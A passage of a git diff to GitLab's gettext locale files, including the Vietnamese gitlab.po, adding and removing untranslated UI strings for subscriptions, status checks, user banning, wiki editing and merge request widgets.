+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/vi_VN/gitlab.po b/locale/vi_VN/gitlab.po
index 016289b9f7c..4286faf3018 100644
--- a/locale/vi_VN/gitlab.po
+++ b/locale/vi_VN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: vi\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:10\n"
+"PO-Revision-Date: 2021-06-01 20:19\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -230,6 +230,10 @@ msgid "%d issue successfully imported with the label"
msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -487,9 +491,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -592,10 +593,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -732,6 +733,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -779,9 +786,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -886,9 +890,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -952,9 +962,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1260,6 +1267,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1281,6 +1291,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1350,9 +1363,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1365,6 +1375,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1410,9 +1423,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1452,30 +1462,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
